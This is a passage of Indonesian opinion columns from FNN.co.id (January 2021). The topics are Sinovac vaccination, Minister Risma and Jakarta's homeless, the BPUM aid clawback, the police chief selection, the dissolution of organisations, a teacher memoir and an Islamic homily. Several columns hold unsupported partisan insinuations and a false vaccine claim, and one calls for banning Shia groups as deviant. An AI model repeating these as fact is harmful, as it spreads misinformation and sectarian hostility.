Januari 2021. Pengumuman akan disampaikan oleh BPOM. “(Diumumkan) pada tanggal 15 Januari oleh BPOM,” kata Eddy Fadlyana, manajer tim riset Fakultas Kedokteran Unpad, melalui pesan singkat, Senin (4/1/2021). Yang menjadi pertanyaan, mengapa Pemerintah terkesan buru-buru melakuka vaksinasi ini? Padahal, hitungan secara medis dan uji klinis pun belum tuntas? China sendiri tidak memakai Sinovac untuk memvaksin rakyatnya. Vaksin (memang) bukan obat! Untuk apa kita beli? Penulis adalah Wartawan Senior FNN.co.id

Mensos Risma Mau Jatuhkan Gubernur Anies Lewat Gelandangan Palsu?

by Asyari Usman Medan, FNN - Kamis (07/01). Dalam beberapa hari ini, Mensos Tri Rismaharini menemukan sejumlah “gelandangan” (tunawisma) di jalan-jalan protokol Jakarta, khususnya Jalan Sudirman dan Jalan Thamrin. Tetapi, orang-orang yang hafal jalan-jalan protokol itu dibuat kaget. Mereka terkejut kenapa tiba-tiba ada yang menggelandang di kawasan prima itu sebagaimana temuan Risma. Walhasil, netizen merasa aneh. Dari rasa aneh, netizen menjadi curiga. Mereka curiga apakah para “gelandangan” yang dijumpai Risma itu asli atau palsu. Dalam sidak gelandangan yang dia lakukan ke berbagai pojok Jakarta, Risma bertanya kepada tunawisma dan juga pemulung apakah mereka mau dicarikan tempat tinggal, dsb. Pokoknya, pendekatan Risma sangat manusiawi. Terkesan seolah semua masalah tunawisma di Indonesia akan selesai. Netizen penasaran. Mereka melakukan penelusuran digital. Salah satu “gelandangan” yang dijumpai Risma ditelusuri sampai ke lapak dia berjualan poster di kawasan Jalan Minangkabau, Manggarai, Jakarta Selatan. Setelah itu, penelusuran dilakukan oleh jurnalis Viva. Orang yang dijumpai Viva di warung poster dan kelapa muda itu, persis seperti orang yang dijumpai Risma di bilangan Thamrin. Laki-laki berambut gondorng, ubanan. Tapi, orang tsb membantah pernah berjumpa Mensos. Temuan Risma ini punya implikasi berat bagi Gubernur DKI Anies Baswedan. Kasus gelandangan di kawasan paling elit di Jakarta itu mengesankan bahwa Anies tidak peduli warga miskin. Dan di daerah yang sensitif pula. Sudah tepat tindakan Pemrov memerintahkan pengejaran identitas semua gelandangan yang dijumpai Risma, khusunya yang berambut putih (ubanan) gondrong. Pemprov pastilah merasa gerah. Kecolongan. Kok Mensos bisa jumpa gelandangan di daerah sensitif itu? Kalau nanti terkonfirmasi gelandangan tsb asli, maka Anies harus meminta maaf kepada publik atas keteledoran Pemprov. Kalau perlu, Ombudsman RI menjatuhkan hukuman denda kepada Anies karena menelantarkan orang miskin dan tunawisma. Tapi, jika penelusuran membuktikan gelandangan itu palsu, maka Pemprov cukup mengatakan kepada publik bahwa Bu Risma tidak paham Jakarta. Jadi, maafkan saja. Kecuali nanti netizen berkeras agar dugaan gelandang palsu itu harus diselesaikan di jalur hukum. Kalau masyarakat mendesak supaya dugaan penipuan itu dilanjutkan ke ranah hukum, tentu Gubernur Anies tidak bisa menolak. Jika terbukti palsu, ada aspek pidananya. Setidaknya soal penipuan dan penyebaran informasi hoax. Untuk sementara ini, kita tunggu dulu hasil invesigasi Pemprov. Biarkan investigasi itu berjalan transparan, apa adanya. Tidak perlu ditutup-tutupi jika Anies memang teledor. Pak Gub harus memberikan teladan tentang transparansi. Jangan contoh cara-cara kotor yang dilakukan oleh para penguasa yang sibuk menyembunyikan bobrok mereka. Kalangan media massa tidak perlu memberikan pembelaan kepada Pak Anies jika memang terjadi penelantaran warga miskin Jakarta. Sebaliknya, kalau terbukti Bu Risma berniat menjatuhkan Anies dengan blusukan menjumpai gelandangan yang diduga palsu itu, yakinlah tujuan itu tak akan tercapai. Publik dengan sendirinya akan tahu dan akan menilai. Penulis adalah Wartawan Senior FNN.co.id

Program BPUM Jokowi Menyengsarakan Pelaku UMKM

by Bambang Tjuk Winarno Madiun, FNN - Rabu (06/01). Para pelaku usaha kecil dan menengah di wilayah Kabupaten Madiun, Jawa Timur, mendadak tidak mempercayai kebijakan ekonomi Presiden Jokowi lewat Banpres Produktif Usaha Mikro (BPUM) yang tersalurkan program bantuan langsung tunai (BLT) Usaha Mikro, Kecil dan Menengah (UMKM). Hal itu baru disadari setelah bantuan yang sudah diterima usahawan kelas teri tersebut ditarik kembali pihak BRI, bahkan masih dikenakan kewajiban membayar sejumlah utang. Sedikitnya tercatat 3 orang wira usaha berbagai bidang, yang dimintai konfirmasi jurnalis atas musibah yang menimpanya. Mereka masing masing Rini, warga Desa Klecorejo, Kecamatan Mejayan, Yuliana, warga Madiun dan Riana, warga Kecamatan Manguharjo, Madiun Kota. Rini yang didampingi Yitno, suaminya, kepada jurnalis, Rabu (06/1), merinci kisah sedihnya yang diawali saat dia mendaftar BLT UMKM via daring pada Agustus tahun lalu. Beberapa hari usai pendaftaran yang hanya berbekal nomor KTP nya itu, dia mendapat jawaban yang menyatakan pihaknya layak mendapat bantuan tersebut. Bantuan sebesar Rp. 2.400.000 tersebut langsung nangkring di rekeningnya pada 15 Agustus 2020. Rini langsung mencairkan dana tersebut, lantaran segera digunakan untuk mengembangkan usahanya di bidang penjualan baju muslim secara online. Namun sirnalah kegembiraan itu. Pasalnya, dana sebesar Rp. 1.200.000 yang ditransfer Winata, warga Tanjung Pinang, Kepulauan Riau, yakni konsumen pemesan baju muslim, pada Senin (4/1), itu lenyap saat hendak dicairkan Rini. "Jadi uang dari konsumen itu mau saya belanjakan untuk memenuhi pesanannya. Ternyata kartu ATM saya kosong. Bahkan saya malah dinyatakan punya hutang BRI sebesar Rp. 1.200.000," ungkap Rini. Makin memilukan saat dia meminta penjelasan kepada pihak BRI setempat, atas bencana yang dialaminya. Rini, menurut petugas BRI, sesuai verifikasi lanjutan ternyata tidak memenuhi syarat sebagai penerima bantuan. Pihak BRI, menurut Rini, membekukan rekeningnya lantaran rekening tersebut terdaftar sebagai penerima bantuan, yakni Banpres Produktif Usaha Kecil (BPUM) yang tersalurkan lewat program BLT UMKM. "Bantuan itu tidak menyenangkan. Tapi malah menyusahkan. Bagaimana tidak, saya jadi pontang panting kalau begini ini. Masih dianggap punya hutang BRI lagi," keluhnya. Pihak BRI, menurut Rini, akan mengaktifkan kembali rekening bank nya jika dia sudah mengembalikan utangnya kepada BRI sebesar Rp. 1.200.00. Sementara LSM Garda Terate Madiun yang mendengar persoalan ini, langsung bereaksi keras dan segera melanjutkan laporannya ke Kejaksaan setempat. Kepada jurnalis yang menemuinya terpisah, Bambang Gembik, personil LSM Garda Terate Madiun, menilai bantuan itu dapat dikatakan praktek 'akal akalan' pemerintah berkedok membantu. "Bantuan pemerintah kepada pelaku usaha kecil lewat program BLT UMKM itu gratis. Cuma cuma alias hibah. La kok dibilang hutang oleh BRI. Katakanlah kalau benar nasabah hutang, apakah BRI punya bukti otentik yang menyatakan nasabah itu pinjam uang?," bentak Gembik. Lebih lanjut Gembik menyoroti cara BRI menagih pinjaman kepada nasabah, yang dlakulan dengan cara langsung memangkas dana dari rekening milik nasabah tanpa konfirmasi yang berhak. Yang lain, cetus Gembik, bab pembekuan rekening nasabah dengan alasan yang bersangkutan tidak memenuhi syarat pada verifikasi lanjutan, dianggap sebagai alasan orang tidak waras. "Begini ya. Kalau memang benar ada verifikasi lanjutan, itu artinya verifikasi pertama belum fix. Belum final. Lah kalau belum final kenapa uang bantuan kok sudah ditransfer kepada nasabah? Waras gak ini?," hardiknya. Sebagaimana dikutip Antara, Selasa (25/8/2020), Presiden Jokowi menegaskan, "Sekali lagi Banpres produktif ini perlu saya sampaikan ini adalah hibah, bukan pinjaman, bukan kredit, tapi hibah,”. Disambung Gembik, kasus tersebut diduga menimpa ribuan pelaku usaha kecil dan menengah di wilayah Madiun, yang tertatih tatih mencari bantuan dana modal guna mengembangkan usahanya. Sementara Asisten Manager Bisnis Mikro BRI Cabang Madiun, Herman, yang hendak dikonfirmasi jurnalis di kantornya, Jalan Pahlawan Madiun, ternyata tidak berada di tempat. "Bapak tidak ada di kantor. Sedang pergi keluar kantor," tutur pria gendut, yang enggan namanya di online kan, namun bersedia disebut posisinya sebagai Resepsionis BRI setempat. Resepsionis itu juga enggan memberikan nomor seluler Herman, saat diminta jurnalis untuk konfirmasi, dengan alasan pihaknya tidak mengetahui seluler Herman. Untuk menuntaskan kasus ini, LSM Garda Terate Madiun, menurut Gembik, segera mengumpulkan bukti bukti dari para korban untuk secepatnya dimasukkan ke Kantor Kejaksaan setempat, sebagai laporan. Penulis adalah Pelaku UMKM.

Risma dan Tuna Wisma

by Tony Rosyid Jakarta FNN – Rabu (06/01). Mamik dan Khusnul adalah dua dari sekian warga tuna wisma di Surabaya. Puluhan tahun tinggal di kolong jembatan. Mereka tak tersentuh oleh program kesejahteraan Pmerintah Kota Surabaya. Apakah Ibu Risma nggak pernah datang kesini? Tanya seorang wartawan Republika kepada Mamik. Tidak pernah, jawab Mimik. Jawabatan yang spontan, dan tanpa ragu. Jawaban yang sama juga keluar dari mulut Khusnul, penghuni Kolong Jalan Tol Waru-Tanjung Perak. "Nggak onok mas. Kok ngarepno bantuan. Lak nggak nggolek rosokan ya nggak mangan (Nggak ada mas. Kok mengharapkan bantuan. Kalau nggak cari rongsokan ya nggak makan). Di Surabaya, Kota dimana Risma pernah menjadi Walikota dua periode, ada 2.740 tuna wisma (2017). Angkanya hampir 0,1 persen dari jumlah penduduk Surabaya yang jumlahnya 2.808.306. Publik jadi ramai ketika Risma blusukan dan memburu tuna wisma di Jakarta. Kali ini bukan sebagai Walikota, tapi sebagai Mensos. Tuna wisma di Kota Surabaya aja keleleran, kok mau ngurusin yang di Jakarta. Begitu kira-kira pertanyaan publik. Sehari setelah dilantik, Risma langsung bekerja. Tak sabar. Pekerjaan pertama adalah mendatangi tuna wisma di sejumlah wilayah di Jakarta. Jitu, pas, dan langsung jumpa. Risma menemukan sejumlah tuna wisma itu. Entah tuna wisma dari mana. Isunya ada yang diimpor dari daerah tetangga. Kalau isu ini benar, siapa yang mengimpor? Uniknya, seolah mensos yang baru dilantik ini tahu seluk beluk kota Jakarta. Atau memang ada tim khusus yang menjadi EO-nya. Selama ini, belum pernah ada Mensos menggunakan "jurus blusukan". Tetapi, Risma memang sangat kreatif! Seandainya Risma tanya dulu ke dinas sosial Pemprov DKI, tentu akan dapat data yang lebih akurat. Sehingga tidak ketemu tuna wisma di Sudirman-Tamrin yang oleh publik dianggap aneh. "Sejak umur 4 tahun saya tinggal di Jakarta, baru dengar tuna wisma di Sudirman-Thamrin", kata Ariza Patria, Wakil Gubernur DKI Jakarta. Sayangnya, Risma sepertinya nggak sabar. Main turun ke lapangan tanpa berkoordinasi dengan pemilik wilayah. Publik bertanya-tanya, apakah ini memang disengaja untuk menyaingi Gubernur Jakarta? Risma seorang politisi. Jika langkahnya dianggap politis, itu wajar-wajar saja. Sebab di depan mata ada Pilgub DKI 2022/2024. Juga Pilpres 2024. Hanya saja, perlu cara-cara yang lebih elegan. Bukan hanya virus yang mengalami mutasi. Ternyata pencitraan juga harus mengalami mutasi. Mesti disesuaikan dengan zaman dan adab setempat. Blusukan dianggap sudah kuno. Publik sepertinya sudah muak dengan segala bungkus blusukan itu. Ada kerinduan rakyat terhadap program yang lebih substantif, jujur dan terukur. Terobosan out of the box. Loncat dari program-program yang lama dan usang. Karenanya, blusukan Risma mendapatkan banyak kritik dan bullyan. Artinya, respon publik negatif. Apapun langkah politis Risma, itu sah dan halal-halan saja. Hanya saja, tugas sebagai Mensos tidak boleh dinomorduakan Bu Risma. Ada semakin banyak jumlah rakyat miskin di Indonesia sekarang ini. Ada kesenjangan yang luar biasa lebar. Bahkan di daerah seperti Papua, Papua Barat dan NTT, masih ada ancaman busung lapar di depan mata. Daerah-daerah ini mesti mendapatkan perhatian yang lebih diprioritaskan oleh mensos. Bukan tuna wisma di Jakarta yang sesungguhnya sudah disiapin rusun oleh Pemprov DKI. Hanya ada sejumlah orang yang belum mau pindah, dan dalam proses pendekatan yang terus intens dilakukan. Tuna wisma dan gelandangan adalah bagian dari pemandangan khas kota-kota besar. Mereka umumnya adalah pendatang yang mengadu keberuntungan di kota-kota metropolitan. Biarlah ini menjadi tugas para kepala daerah masing-masing untuk mengatasinya. Jika Mensos ingin bantu, akan sangat efektif jika bersinergi dengan kepala-kepala daerah tersebut. Membangun program yang terkordinasi, bahkan terkolaborasi. Bukan malah berkompetisi! Penulis Pengamat Politik dan Pemerhati Bangsa.

Jangan Pilih Kapolri Peliharaan Cukong

Jakarta FNN - Rabu (06/01). Tanggal 30 Januari 2021, Kapolri Idham Aziz genap berusia 58 tahun. Artinya, Presiden Jokowi harus menunjuk Kapolri baru. Sesuai prosedur, Kapolri harus mengajukan nama calon kepada presiden. Setelah itu, presiden menyerahkan nama calon tersebut kepada DPR untuk dilakukan uji kelayakan dan kepatutan (fit and proper test). Yang menjadi masalah selama ini dalam beberapa kali penetapan pejabat Kapolri, seringkali diwarnai desas-desus bahwa calon yang terpilih adalah titipan para cukong, taipan atau konglomerat, dan bahkan pengusaha hitam. Nah, untuk meredam suara-suara negatif ini, maka proses fit and proper test calon Kapolri kali ini harus dilakukan sebagaimana mestinya, jangan formalitas semata. Namanya proses uji calon, maka sudah seharusnya ada beberapa calon yang akan diajukan ke DPR, kemudian dipilih yang terbaik. Jadi, Kapolri Idham Aziz harus mengusulkan beberapa nama calon kepada presiden. Selanjutnya, presiden tidak perlu melakukan seleksi untuk menciutkan menjadi calon tunggal. Serahkan saja semua nama calon yang diusulkan Kapolri dan biarlah DPR yang menentukan siapa yang terbaik. Hal ini, selain untuk menghindari fitnah kepada presiden juga buat pembelajaran kepada DPR agar ikut bertanggungjawab terhadap proses pemilihan dan pengawasan terhadap para penyelenggara negara. Kapolri zaman sekarang memang pejabat yang banyak disorot orang. Kapolri dianggap sebagai jabatan strategis kerena tupoksi yang melekat pada Polri itu sendiri, mulai dari pelayanan masyarakat hingga penegakan hukum. Boleh dibilang Kapolri menjadi penentu hitam putihnya segala problematika di negeri ini. Mungkin Anda bertanya, bukankah Presiden yang paling menentukan di negeri ini? Memang betul presiden adalah penentu kebijakan tertinggi di negeri ini. Akan tetapi, kalau Kapolrinya tidak sigap mendukung kebijakan dan langkah-langkah presiden, apakah kebijakan itu akan berjalan sesuai rencana? Sebagai contoh, pada 20 Oktober 2016, dalam sebuah rapat koordinasi dengan gubernur seluruh Indonesia, Jokowi pernah menyerukan perang melawan pungli (pungutan liar) di semua lapisan pelayanan masyarakat. “Pungli ini sudah bertahun-tahun dan kita menganggap itu adalah sebuah hal yang normal, kita permisif terhadap pungli itu. Karena itu, saya ajak para gubernur bicarakan langkah kongkret bicara pungutan liar. Tidak hanya urusan KTP, tidak hanya urusan sertifikat, tidak hanya urusan di pelabuhan, kantor, bahkan di rumah sakit. Hal-hal apa pun yang berkaitan dengan pungutan yang tidak resmi harus kita hilangkan bersama. Dengan keterpaduan itulah kita harapkan operasi pungli ini akan efektif,” kata Jokowi waktu itu. Hasilnya apa? Sampai sekarang banyak pengusaha mengeluhkan banyaknya pungli yang mengakibatkan ekonomi biaya tinggi. Akan tetapi, yang gagal memberantas pungli sebenarnya bukan hanya presiden, tapi juga Kapolrinya. Setiap warga negara yang menjadi korban kejahatan sudah tentu berniat melaporkannya ke polisi di pos terdekat. Akan tetapi, sebagian warga mengurungkannya, karena tidak yakin laporannya bakal ditindaklanjuti. Ada guyonan yang kita dengar di tengah masyarakat. "Buat apa lapor polisi. Nanti, melapor kehilangan ayam, malah ongkosnya kehilangan kambing. Lapor kehilangan kambing, malah kehilangan sapi." Banyak rakyat khawatir melapor ke polisi bisa menjadi bumerang. Karena bukan tidak mungkin akan ada laporan balik atas dasar pasal-pasal fitnah, pencemaran nama baik, laporan palsu dan segala macam pemutarbalikan fakta. Polri harus segera berbenah diri untuk menyikapi kondisi psikis masyarakat setiap kali mau berurusan dengan polisi. Pemulihan kehormatan korps polisi ini membutuhkan sosok keteladanan dari pucuk pimpinan tertinggi. Dalam hal ini, DPR tidak perlu berwacana panjang lebar tentang kriteria calon Kapolri yang ideal. Sebab, tolok ukur Kapolri yang ideal sudah ada dalam Tri Brata Polri. Tri Brata adalah pedoman hidup bagi setiap anggota Polri. Yaitu : Kami Polisi Indonesia : Satu : :Berbakti kepada nusa dan bangsa dengan penuh ketaqwaan terhadap Tuhan Yang Maha Esa. Dua : Menjunjung tinggi kebenaran, keadilan dan kemanusiaan dalam menegakkan hukum Negara Kesatuan Republik Indonesia dan Undang-Undang Dasar 1945. Tiga : Senantiasa melindungi, mengayomi dan melayani masyarakat dengan keikhlasan untuk mewujudkan keamanan dan ketertiban. Kalau disederhanakan ada tiga hal yang menjadi pegangan hidup setiap anggota polisi : Bertaqwa (patuh kepada perintah dan larangan Tuhan); Nasionalis (setia kepada NKRI dan UUD 45); Tulus (sungguh-sungguh mengabdi kepada masyarakat). Yang menjadi persoalan, ketiga azimat tersebut semakin hari semakin tergerus oleh tata nilai kehidupan masyarakat yang semakin mengarah pada hedonisme-materialisme. Polisi sejatinya adalah aparat yang ditugasi negara untuk bertempur di dunia hitam. Mereka harus berhadapan langsung dengan para penjahat kelas teri hingga penjahat berdasi. Nah, polisi di mana pun seringkali mendapat godaan-godaan dari penjahat berduit agar mengkhianati sumpahnya. Nah, selama ini DPR salah kaprah dalam menelisik calon Kapolri yang mereka uji. Mereka cenderung mengunggulkan seseorang berdasarkan riwayat karier atau posisi-posisi prestisius yang pernah diduduki sang calon. Seseorang calon dianggap ideal karena pernah menjadi Kapolda atau asisten di Mabes Polri ketika masih berpangkat bintang dua. Lalu ketika berbintang tiga, dia harus berpengalaman menduduki jabatan prestisius dalam struktur Mabes Polri. Kriteria dan pola rekrutmen calon pimpinan Polri seperti itu sudah harus ditinggalkan. Karena dalam kenyataannya, kebanyakan perwira polisi seringkali moralnya dirusak oleh para cukong-cukong hitam justru ketika ia menduduki jabatan prestisius di lingkungan Polri. Sewaktu jadi Kapolres, dia akan didekati oleh cukong kelas kota/kabupaten. Selanjutnya, ketika menjabat Kapolda, sudah tentu dia akan didekati cukong yang kelasnya lebih tinggi lagi. Ketika menjabat di Mabes Polri, dia akan didekati cukong kelas nasional. Jadi, siapa calon Kapolri yang harus diunggulkan oleh DPR nanti ? Pertama, sedapat mungkin dicari perwira bintang tiga yang tidak pernah berurusan dengan cukong-cukong di level kota, kabupaten, provinsi dan pusat. Karena biasanya, seorang cukong mulai mencari beking dari level bawah dan akan terus mereka pelihara hingga naik jabatan ke tingkat pusat. Sudah tentu setelah itu harus ditelisik lagi apakah calon tersebut sosok Tri Brata sejati. Dalam kondisi perpolitikan negara yang kini sudah semakin terkotak-kotak, kita perlu mencari sosok Kapolri yang bisa mendorong persatuan bangsa. DPR harus menghindari kecenderungan memilih calon berdasarkan pendekatan suku, apalagi agama karena pendekatan seperti ini malah memperkeruh keadaan. Seorang calon Kapolri mutlak harus sosok yang bertaqwa, nasionalis dan tulus. Verifikasi persyaratan ini bisa dilakukan DPR kepada teman, atasan, bawahan atau siapa saja yang dianggap sering berintegrasi langsung dengan sang calon. Cakupan pergaulan sosial seseorang sangat berpengaruh terhadap perilaku keseharian dirinya. Calon Kapolri yang memiliki kedekatan dengan kalangan agamawan cenderung memecahkan masalah dengan pendekatan spiritual. Akan tetapi, yang dekat dengan cukong, cenderung memecahkan masalah dengan hitungan materi. *

Ayo Bubar Bubar dan Bubar

by M. Rizal Fadillah Bandung FNN – Rabu (06/01). Saat membubarkan Hizbut Tahrir Indonesia (HTI) melalui Peraturan Pemerintah (Perppu) cukup ramai pembahasan. Baik aspek politik maupun hukum. Penggunaan Perppu adalah "akal-akalan" kemauan politik dengan menggunakan hukum. Pembubaran yang sepihak ini menyebabkan HTI kehilangan "legal standing" untuk melakukan perbuatan hukum, termasuk melakukan perlawanan. Inilah cara licik berpolitik penguasa sekarang. Alasannya adalah ideologi Khilafah yang bertentangan dengan Pancasila. Pembubaran kedua di era Pemerintahan Jokowi adalah Front Pembela Islam (FPI) atas target figur Habib Rizieq Shihab (HRS). Dengan prinsip "harus bubar", maka dicarilah dasar hukum terlemah dalam sejarah. Lahirlah Surat Keputusan Bersama (SKB). Padahal SKB, sama-sekali tidak dikenal dalam sistem hukum dan hirarki perundang-undang Indonesia. Tanpa ada kewenangan konstitusional, tiga menteri dan tiga petinggi negeri menandatangani SKB "pembubaran" organisasi yang "sudah bubar" secara hukum. Maklumat Kapolri dibuat untuk melengkapi pemberangusan. Padahal, jangankan cuma tiga menteri dan tiga pejabat tinggi negara. SKB semua menteri anggota kebinet, dan semua kepala lembaga negara Pemerintahn Jokowi sekalipun, tidak memiliki kekuatan hukum apapun. Menatara Mantan Kepala Badan Intelijen Negara (BIN) Hendropriyono yang mengancam pelindung mantan FPI dan mengultimatum organisasi lain "tunggu giliran". Pembubaran akan berlanjut ? Isu liar kemana-mana soal giliran berikut versi Hendro ada yang melempar ke Majelis Ulama Indonesia (MUI). Namun ada pula yang bilang Partai Keadilan Sejahtera (PKS) yang tunggu giliran. Artinya elemen-elemen Islam yang hendak dilumpuhkan. Jika iya, tentu hal ini akan menjadi kezaliman rezim yang nyata. Misi ala penguasa sekuler atau Komunis sedang bekerja untuk membubarkan elemen-elemen Islam di negeri. Islam Phobia lagi bekerja keras, keras dan keras. Ormas atas dasar ideologi menjadi layak saja untuk dibubarkan. Karena sangat berbahaya adalah pengusung ideologi "Imamah" yaitu kelompok Syi'ah. Membahayakan bagi kewibawaan dan kelangsungan Pancasila. Ideologi Imamah sangat bertentangan dengan Pancasila. Ide Khilafah saja dimasalahkan. Apalagi Imamah yang nyata-nyata sangat berbahaya. Elemen prinsip ajaran dan perjuangan Syi'ah telah dinyatakan sesat oleh MUI dan berbagai organisasi Islam. Namun kini mendapat perlindungan dari kekuasaan. Aneh tapi nyata. Afiliasi atau pengorganisasian yang mesti dibubarkan itu adalah IJABI (Ikatan Jama'ah Ahlul Bait Indonesia) dan ABI ( Ahlul Bait Indonesia). Keberadaannya meresahkan umat Islam, karena elemen prinsip tersebut. Disamping Imamah, juga faham yang meyakini Qur'an tidak otentik (tahrif), yang mengaburkan makna hadits, menghina istri dan shahabat Rasulullah. Legalisasi zina lewat kawin kontrak, dan masih banyak lagi. Dalam kaitan partai politik, bukan saja PKS yang harus diributkan. Karena disamping tidak beralasan, juga sangat tendensius. Justru pilihan partai yang lebih layak dibubarkan adalah Pertai Demokrasi Indonesia Perjuangan (PDI-P). Ada dua alasan mengapa PDIP harus dibubarkan. Pertama, jika alasan mutatis mutandis, dengan alasan pembubaran FPI, yakni keterlibatan anggota dengan kegiatan terorisme, maka PDIP adalah keterlibatan kader dengan kejahatan korupsi. PDIP adalah partai politik penyumbang terbesar pejabat korup. Kedua, jika tidak melakukan perubahan Anggaran dasar dan Anggaran Rumah Tangga (AD/ART) organisasi, maka misi perjuangan PDIP terhitung tahun 2015 dinilai dapat merongrong kewibawaan dan eksistensi ideologi Pancasila. Konten misi Trisila dan Ekasila tidaklah dibenarkan secara politik dan hukum di negara Pancasila dan UUD 1945 tanggal 18 Agustus 1945. Bila terus saja digelindingkan soal bubar, bubar, bubar, maka jangan-jangan ungkapan Indonesia bubar tahun 2030 bisa menjadi kenyataan. Apakah kelak menjadi negara yang terpecah-pecah? Atau NKRI yang berubah menjadi Negara Federasi? Jadi, jika pak Hendro beringas soal "tunggu giliran", maka rakyat dan bangsa Indonesia akan dan harus bermusyawarah serius tentang organisasi yang layak untuk segera dibubarkan. Satu catatan yang telah tergores adalah bahwa pemerintah terus bergeser dari pelaksanaan asas demokrasi ke arah oligarkhi, demokrasi terpimpin, dan otokrasi. Bahkan mengarah ke tirani dan otoriter. Penulis adalah Pemerhati Politik dan Kebangsaan.

Guruku Mas Tom, Pendiri PII Priangan Timur

by Hasan Syukur Jakarta FNN – Rabu (06/01). Berpakaian jas tutup warna biru tua. Berkemeja panjang warna putih, dengan kancing bagian atas terbuka. Bercelana blue jeans merk levis. Itulah guruku Utomo Dananjaya. "Panggil saya aku Tom atau Mas Tom", kata guru nyentrik berbadan tinggi krempeng itu kepada murid- muridnya di SMP Negeri I Garut, Jawa Barat. Guruku Mas Tom, lahir di Kuningan, Jawa Barat tahun 1936. Anak seorang Kepala Desa itu merupakan sosok yang sangat populer. Guruku itu seorang komunikator piwai. Juga seorang liberal yang berani keluar dari pakem-pakem yang tradisional. Sikapnya yang egaliter disaat guru-guru lain berprilaku feodal. Akibatnya itu tadi, Mas Tom tidak mau dipanggil "Pak Guru" oleh murid-muridnya. Panggilan terhadap dirinya tidak mau dirubah-rubah. Tetap saja dengan panggilan paling nyentrik “Mas Tom”. Toh, meskipun penampilannya "ngoboy" Mas Tom terkendali oleh religi. Mas Tom tinggal di asrama Muhammadiyah Garut. Kesehariannya, sangat taat mendirikan shalat lima waktu. Tetapi dengan penampilan yang "gaul" abis itu, membuat Utomo bagaikan magnet. Mas Tom berhasil menarik anak-anak muda Garut yang tadinya suka berkelahi menjadi anggota Pelajar Islam Indonesia(PII), sebuah organisasi pelajar yang dipimpinanya. Gaos Syamdani misalnya, masih sempat berkelahi beberapa menit menjelang dilantiknya menjadi Ketua Komisaris Daerah (Komda) PII Priangan Timur di Pendopo Kabupaten Garut. Geng-geng pemuda pelajar inilah yang dimanfaatkan Utomo. Mereka dengan cerdik didekati satu per satu. Sikapnya yang sangat "gaul" itu yang menyebabkan Utomo diterima di kalangan anak-anak muda Garut, dan Priangan Timur khususnya. Kebanyakan dari mereka adalah murid-muridnya. Salah seorang muridnya, Sukarna ND biasa memanggil gurunya ini dengan panggilan "Tom"saja . Sukarna siswa "bengal" paling yang disayanginya. Bertubuh gempal dan kekar, Sukarna dikenal petarung tulen. Pak Sueb, guru bahasa Indonesia, ditinju Sukarna. Utomolah yang menyelamatkan dari ancaman dikeluarkan dari sekolah. Apa komentarnya? "Mas Tom, guru yang tak pernah memvonis", kata Karna. Uniknya, Utomo yang tak kelihatan bersarung dan berkopiah itu diterima juga di kalangan pesantren. Contohnya, KH. Yusuf Taujiri. Pimpinan Pondok Pasantren Darussalam Wanaraja Garut, yang legendaris itu. Beliau tak mudah dipengaruhi kekuatan manapun. Ia dikenal kiai yang independen. Yusuf Taujiri pernah bertahan di menara masjid Darussalam, berdua dengan KH. Anwar Musadad (belakangan pendiri perguruan Tinggi Almusadadiyah Garut), hanya dengan modal senjata mesin otomatis tatkala sepasukan DI/TII mengepungnya. Pasalnya, KH. Yusuf Taujiri menolak untuk bergabung dengan DI/ TII Kartosuwiryo. Anehnya, kepada Utomo KH. Yusuf Taujiri "menyerah". Setelah KH. Yusuf Taujiri memberikan "greenlight", maka penduduk wilayah pengaruhnya se-Kabupaten Garut blek tumplek menjadi anggota PII. Bagitulah gaya Mas Tom yang sangat berjasa membesarkan PII di wilayah Garut dan Priangan Timur. Bahkan Jawa Barat. Ketika mengajar, kebiasaan Mas Tom terlebih dulu mendesain meja belajar menjadi leter "U". Tujuannya, agar semua murid bisa berpartisipasi dalam menyimak pelajarannya. Waktu itu aku terpilih jadi ketua KMU (Ketua Murid Umum) SMP Negeri I Garut. Semacam ketua Organisasi Siswa Intra Sekolah (OSI)S saat ini. Aku biasa diharuskan oleh Mas Tom berpidato dalam berbagai upacara sekolah. Suatu ketika, Mas Tom mendekati saya mengajak untuk belajar bersama di asramanya. Pesan beliau, "ajak teman-temanmu untuk belajar bersama pada hari Ahad nanti. Ajakannya gratis", tambahnya. Anehnya, Mas Tom tak membahas pelajaran sekolah. Kami diberinya naskah dari koran atau majalah. Disuruhnya membaca artikel itu lalu mendiskusikannya sampai habis waktu belajar bersama. Diam-diam ternyata Mas Tom tengah mentraining kami untuk menjadi anggota dan aktipis PII. Maka sejak itulah kami resmi menjadi aktivis PII. Utomo rupanya tak melupakan muridnya. Sebab ketika Jimly Assidiqie, Dikdik J.Rachbini, Sudirman Said menerbitkan buku untuk memperingati 70 tahun usia Mas Tom, saya diminta menulis sebuah artikel dalam bukunya berjudul, "Mas Tom The Living Bridge". Buku setebal 450 halaman. Artikel yang saya sumbangkan itu bejudul, "Jejak Utomo Dananjaya di Garut". Mas Tom kini sudah tiada. Mas Tom wafat sekitar tiga tahun silam. Semoga iman Islam dan amal shalehnya diterima Allah Subhanahuwata'ala. Aamiin.

Jahiliyah Yang Belum Berevolusi

by Felix Siauw Jakarta, FNN - Rabu (06/01). Satu waktu, Abu Dzar yang lumayan temperamen, mendapati Bilal bin Rabah tak sejalan dengan arahannya. Lalu ia mengatakan pada Bilal. "Bahkan engkau menyelisihiku wahai anak budak berkulit hitam?". Bilal kaget.... Kegalauan atas ucapan Abu Dzar itu dia sampaikan pada Rasulullah. Wajah Rasulullah berubah, lalu menegaskan pada Abu Dzar, "Rupanya di dalam dirimu masih ada sifat jahiliyyah". Abu Dzar menangis, menyesal dan panik. Ia mencari Bilal, meletakkan pipinya di atas tanah, lalu berkata pada Bilal, "Aku takkan mengangkat kepalaku sebelum engkau menginjaknya, engkau mulia, akulah yang hina". Abu Dzar menyesali dengan tanda, bahwa tak ada kemuliaan warna kulit, atau Arab lebih mulia dari Ajam. Bilal terhenyak, tak menyangka, lalu mengucap "Bahkan engkau lebih mulia dari padaku". Mana mungkin Bilal menginjak kepala yang senantiasa bersujud pada Allah, dimana dialah yang memanggil manusia untuk selalu bersujud pada Allah 5x dalam sehari. Perkataan Bilal, "Bahkan engkau lebih mulia daripadaku", karena Nabi Adam juga memohon ampun pada Allah setelah dosanya, sebab itu dia mulia. Tapi iblis angkuh dengan ibadahnya, lalu merasa lebih baik dari manusia, karena itu dia terlaknat. Tidak ada keutamaan warna kulit di dalam Islam. Allah yang mencipta semua itu, tak melihat padanya. Akan tetapi niat dan amal mereka itulah yang membedakan. Bahkan Bilal yang berkulit hitam, selalu diinginkan posisinya oleh sahabat yang lain Intoleransi dalam Islam sudah dihapus sejak 